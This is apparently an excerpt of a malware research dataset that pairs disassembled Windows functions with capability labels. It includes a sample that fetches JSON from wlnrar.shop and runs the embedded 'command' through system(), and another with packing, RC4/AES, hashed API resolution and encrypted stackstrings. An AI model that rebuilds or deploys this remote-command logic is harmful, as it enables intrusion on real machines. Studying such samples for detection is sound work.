joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004055e0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004055f0]
mov dword [rax], 1
mov rax, qword [0x00405600]
mov dword [rax], 1
mov rax, qword [0x004055d0]
mov dword [rax], 1
mov rax, qword [0x004054c0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004055c0]
mov dword [0x0040800c], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00405580]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00405470]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x4015ac
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3d0], rcx
lea rax, [rbp - 0x60]
mov r8d, 0x400
mov rdx, qword [rbp + 0x3d0]
mov rcx, rax
call sym.strncpy
mov byte [rbp + 0x39f], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.remove_backslashes
lea rax, str._command_:
mov qword [rbp + 0x3b0], rax
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x4016e1
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sym.strlen
add qword [rbp + 0x3b8], rax
jmp 0x401645
add qword [rbp + 0x3b8], 1
mov rax, qword [rbp + 0x3b8]
movzx eax, byte [rax]
cmp al, 0x20
je 0x40163d
mov rax, qword [rbp + 0x3b8]
movzx eax, byte [rax]
cmp al, 0x22
je 0x40163d
mov rax, qword [rbp + 0x3b8]
mov edx, 0x22
mov rcx, rax
call sym.strchr
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
je 0x4016b7
mov rax, qword [rbp + 0x3a8]
mov byte [rax], 0
mov rax, qword [rbp + 0x3b8]
mov rdx, rax
lea rcx, str._:__s_n
call sym.printf
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.system
jmp 0x401709
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x48
mov edx, 1
lea rcx, str.:_____._n
call sym.fwrite
jmp 0x401709
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x3c
mov edx, 1
lea rcx, str.:__command____JSON._n
call sym.fwrite
nop
add rsp, 0x440
pop rbp
ret
Function at 0x401713
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
call dbg.__main
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.HTTP_Example_1.0
call sym.WinHttpOpen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x40193f
mov rax, qword [rbp - 0x10]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.wlnrar.shop
mov rcx, rax
call sym.WinHttpConnect
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x401933
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._json.php
lea rdx, [0x0040511e]
mov rcx, rax
call sym.WinHttpOpenRequest
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x401927
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.WinHttpSendRequest
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x40181e
mov rax, qword [rbp - 0x20]
mov edx, 0
mov rcx, rax
call sym.WinHttpReceiveResponse
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x401901
mov dword [rbp - 0x2c], 0
mov dword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x2c], 0
lea rdx, [rbp - 0x2c]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.WinHttpQueryDataAvailable
mov eax, dword [rbp - 0x2c]
test eax, eax
je 0x40191a
mov eax, dword [rbp - 0x2c]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x40188c
lea rcx, str.Out_of_memory
call sym.puts
jmp 0x40191b
mov eax, dword [rbp - 0x2c]
add eax, 1
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp - 0x2c]
lea r8, [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call sym.WinHttpReadData
test eax, eax
je 0x4018e8
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rcx, str.Received:__s_n
call sym.printf
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.execute_command_from_json
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0x2c]
test eax, eax
jne 0x40183e
jmp 0x40191b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReceiveResponse._n
call sym.printf
jmp 0x40191b
nop
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.WinHttpCloseHandle
lea rcx, str.Press_Enter_to_exit...
call sym.printf
call sym.getchar
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x401ec0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x402074
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401f0c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401f99
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401ef0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4020a9
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40208c
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401f92
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402014
add dword [0x00408624], 1
cmp edi, 8
jae 0x401fd0
test dil, 4
jne 0x402060
test edi, edi
je 0x401fbc
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40207b
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401fbc
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x402000
jmp 0x401fbc
add rsi, qword [0x00408628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401f92
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401fbc
xor esi, esi
jmp 0x401f17
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401fbc
mov rax, qword [0x00408628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop dword [rax]
Function at 0x402800
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402854
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40284b
test rsi, rsi
je 0x40284b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402830
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402a90
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402aa0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402ab0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402af1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402ae8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402af3
add rax, 0x28
cmp rax, r9
jne 0x402ad4
xor eax, eax
ret

Function at 0x402b90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004054c0]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x402bfd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402bfd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402bfd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402bf4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402bff
add rax, 0x28
cmp rax, r9
jne 0x402be0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402d00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004054c0]
xor eax, eax
mov rdx, rcx
cmp word [r8], 0x5a4d
je 0x402d20
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402d18
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402d7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402d74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402d84
add rax, 0x28
cmp rax, r9
jne 0x402d60
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402da0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004054c0]
mov r9d, ecx
cmp word [r11], 0x5a4d
jne 0x402e0e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402e0e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402e0e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402e0e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402e05
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402e15
add rcx, 0x28
cmp rcx, rax
jne 0x402df0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402e28
jmp 0x402e0e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402e36
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402e0e
test r9d, r9d
jg 0x402e20
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret

Function at 0x4030b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140f52058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140f521df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f52089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f5206f
add dl, dl
jne 0x140f52096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f520f6
xor eax, eax
add dl, dl
jne 0x140f520a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f521ad
add dl, dl
jne 0x140f520b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f520c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f520d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f520dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f520ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f5207e
mov eax, 1
add dl, dl
jne 0x140f52106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f52113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f520fb
sub eax, ebx
mov ebx, 1
jne 0x140f5214c
mov ecx, 1
add dl, dl
jne 0x140f5212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f5213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f52123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f5207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f52168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f52175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f5215d
cmp eax, 0x7d00
jae 0x140f5219b
cmp eax, 0x500
jb 0x140f52196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f5207e
cmp eax, 0x7f
ja 0x140f5219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f5207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f521d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f5207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001d2c
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov byte [rsp + 1], 0
jmp 0x140001d46
mov al, byte [rsp + 1]
inc al
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 4
jge 0x140001da2
mov byte [rsp], 0
jmp 0x140001d5e
mov al, byte [rsp]
inc al
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 4
jge 0x140001da0
movzx eax, byte [rsp]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax*4]
movzx ecx, byte [rsp + 1]
movzx eax, byte [rax + rcx]
lea rcx, str.cw
movzx edx, byte [rsp]
mov r8, qword [rsp + 0x20]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rsp + 1]
mov al, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x140001d56
jmp 0x140001d3c
add rsp, 0x18
ret

Function at 0x140007a78
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
cmp dword [0x140012bb0], 0
jne 0x140007b13
mov dword [rsp], 0
jmp 0x140007aa3
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jae 0x140007b09
mov eax, dword [rsp]
mov dword [rsp + 4], eax
mov dword [rsp + 0xc], 8
jmp 0x140007ac7
mov eax, dword [rsp + 0xc]
dec eax
mov dword [rsp + 0xc], eax
cmp dword [rsp + 0xc], 0
jbe 0x140007af6
mov eax, dword [rsp + 4]
and eax, 1
test eax, eax
je 0x140007aea
mov eax, dword [rsp + 4]
shr eax, 1
xor eax, 0xedb88320
mov dword [rsp + 4], eax
jmp 0x140007af4
mov eax, dword [rsp + 4]
shr eax, 1
mov dword [rsp + 4], eax
jmp 0x140007abd
mov eax, dword [rsp]
lea rcx, [0x1400127b0]
mov edx, dword [rsp + 4]
mov dword [rcx + rax*4], edx
jmp 0x140007a9b
mov dword [0x140012bb0], 1
mov dword [rsp + 8], 0xffffffff
mov dword [rsp], 0
jmp 0x140007b2c
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x140007b64
mov eax, dword [rsp + 8]
shr eax, 8
mov ecx, dword [rsp]
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
xor ecx, dword [rsp + 8]
and ecx, 0xff
mov ecx, ecx
lea rdx, [0x1400127b0]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 8], eax
jmp 0x140007b24
mov eax, dword [rsp + 8]
not eax
add rsp, 0x18
ret
Function at 0x140009988
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x70], 0
jne 0x1400099a9
xor eax, eax
jmp 0x140009b04
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0
jmp 0x140009a08
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x140009b02
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x20]
lea rax, [rax + rcx*4]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call fcn.14000d0b4
mov edx, eax
mov rcx, qword [rsp + 0x28]
call fcn.140007a78
mov dword [rsp + 0x24], eax
cmp qword [rsp + 0x38], 0
je 0x140009afd
cmp qword [rsp + 0x28], 0
je 0x140009afd
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x24], eax
jne 0x140009afd
cmp dword [rsp + 0x80], 0
je 0x140009aa5
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call qword [0x140012508]
jmp 0x140009b04
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x20]
lea rax, [rax + rcx*2]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx]
lea rax, [rax + rcx*4]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
jmp 0x140009b04
jmp 0x1400099fe
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000c2a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x168
mov byte [rsp + 0x28], 0xd6
mov byte [rsp + 0x29], 0x23
mov byte [rsp + 0x2a], 0xb8
mov byte [rsp + 0x2b], 0xef
mov byte [rsp + 0x2c], 0x62
mov byte [rsp + 0x2d], 0x26
mov byte [rsp + 0x2e], 0xce
mov byte [rsp + 0x2f], 0xc3
mov byte [rsp + 0x30], 0xe2
mov byte [rsp + 0x31], 0x4c
mov byte [rsp + 0x32], 0x55
mov byte [rsp + 0x33], 0x12
mov byte [rsp + 0x34], 0x7d
mov byte [rsp + 0x35], 0xe8
mov byte [rsp + 0x36], 0x73
mov byte [rsp + 0x37], 0xe7
mov byte [rsp + 0x38], 0x83
mov byte [rsp + 0x39], 0x9c
mov byte [rsp + 0x3a], 0x77
mov byte [rsp + 0x3b], 0x6b
mov byte [rsp + 0x3c], 0xb1
mov byte [rsp + 0x3d], 0xa9
mov byte [rsp + 0x3e], 0x3b
mov byte [rsp + 0x3f], 0x57
mov byte [rsp + 0x40], 0xb2
mov byte [rsp + 0x41], 0x5f
mov byte [rsp + 0x42], 0xdb
mov byte [rsp + 0x43], 0xea
mov byte [rsp + 0x44], 0xd
mov byte [rsp + 0x45], 0xb6
mov byte [rsp + 0x46], 0x8e
mov byte [rsp + 0x47], 0xa2
mov eax, 2
imul rax, rax, 0
mov rcx, qword [rsp + 0x180]
movzx eax, word [rcx + rax]
mov word [rsp + 0x20], ax
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x49]
mov rdi, rax
xor eax, eax
mov ecx, 0xf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x180]
movups xmm0, xmmword [rax + 2]
movdqu xmmword [rsp + 0x48], xmm0
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x60]
call fcn.140001130
movsx rax, word [rsp + 0x20]
mov rcx, qword [rsp + 0x180]
add rcx, 0x12
mov rdi, qword [rsp + 0x188]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsx rax, word [rsp + 0x20]
mov r8, rax
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x60]
call section..text
mov rax, qword [rsp + 0x188]
add rsp, 0x168
pop rdi
pop rsi
ret

Function at 0x14000e428
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0x811c9dc5
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
jmp 0x14000e456
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 8], rax
jae 0x14000e48b
mov rax, qword [rsp + 8]
movsx eax, byte [rax]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
imul eax, dword [rsp], 0x1000193
mov dword [rsp], eax
jmp 0x14000e449
mov eax, dword [rsp]
add rsp, 0x18
ret
Function at 0x14000e604
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
jmp 0x14000e630
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x20], eax
jge 0x14000e732
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x104]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x104], eax
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x104]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x108]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 0x108], eax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
mov r8d, dword [rcx + 0x108]
mov rcx, qword [rsp + 0x40]
mov edx, dword [rcx + 0x104]
mov rcx, rax
call fcn.14000e7c0
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x104]
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x40]
movsxd rcx, dword [rcx + 0x108]
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax]
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
movzx ecx, byte [rdx + rcx]
xor eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x50]
mov byte [rdx + rcx], al
jmp 0x14000e626
add rsp, 0x38
ret
Function at 0x140011262
Capabilities:
Terminate process

Disassembly:
jmp 0x140013cf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011307
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015040
sub rsp, 0x38
xor ecx, ecx
